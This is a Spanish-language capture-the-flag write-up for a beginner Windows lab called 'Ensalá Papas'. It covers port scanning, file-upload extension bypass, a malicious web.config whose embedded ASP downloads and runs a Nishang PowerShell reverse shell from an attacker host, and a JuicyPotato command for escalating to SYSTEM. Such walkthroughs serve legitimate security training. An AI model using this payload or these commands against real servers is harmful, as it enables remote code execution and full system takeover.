Write-ups

Resolución del CTF ENSALÁ PAPAS

❌Nombre: Ensalá Papas
📈Nivel: Principiante
💻OS: Windows
🙋🏽‍♂️Creador: Curiosidades De Hackers & @Condor Hacks
https://thehackerslabs.com/ensala-papas/

Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para saber cuáles están activos.

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • -sC : Realiz una escaneo con los scripts basicos de reconocimiento
  • -sV : Realiza un escaneo en buqueda de los servicios
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.

Vamos a realizar un reconocimiento de directorios y archivos con extensiones asp,aspx y txt.

y Encontramos un archivo en el cual podemos subir archivos.

Probamos a subir un png y nos deja.

Pero no un aspx

Así que le haremos un ataque de lista simple a la extensión para ver cuales podemos subir.

En este caso podemos ver que podemos subir archivos con extensión .config .

Al realizar algunas investigaciones, encontré un [web.config] archivo que permite la Ejecución Remota de Código (RCE) explotando la funcionalidad de carga de archivos. Para continuar, descargaremos el archivo en nuestro cuadro de ataque y lo configuraremos con la ruta adecuada para descargar el script Nishang Invoke-PowerShellTcp PowerShell.

PowerShell
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resource>
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
   <appSettings>
</appSettings>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.18.19:8000/Invoke-PowerShellTcp.ps1')")
%>

Descarga y prepara el Nishang Invoque-PowerShellTcp Script de PowerShell agregándolo con el comando a continuación. Y sube sin problema.

En el código fuente encontramos un directorio.

El cual contiene nuestro archivo.

Así que abrimos un servidor en Python, nos ponemos a la escucha con NetCat y recargamos la pagina.

Hacemos una enumeración básica del sistema.

Vemos que SeImpersonatePrivilege esta habilitado por lo que podemos aprovechar un ataque de potato para escalar privilegios a SYSTEM.

Nos descargamos Juicy-Potato y nos lo traemos a la maquina victima en un directorio temporal.

(new-object net.webclient).downloadfile('http://10.10.14.8:8080/JuicyPotato.exe', '\temp\JuicyPotato.exe')

Y nos traemos el script para descargar el script de Nishang PowerShell.

Nos lo traemos a la maquina victima.

En caso de que el CLSID predeterminado falle, tenemos una variedad para probar mas, teniendo en cuanta que es un Server 2008 R2 podemos encontrarlos aquí disponibles aquí. Lo ejecutamos con la primera CLSID encontrada y funciona.

./JuicyPotato.exe -l 4444 -p C:\windows\temp\shell.bat -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *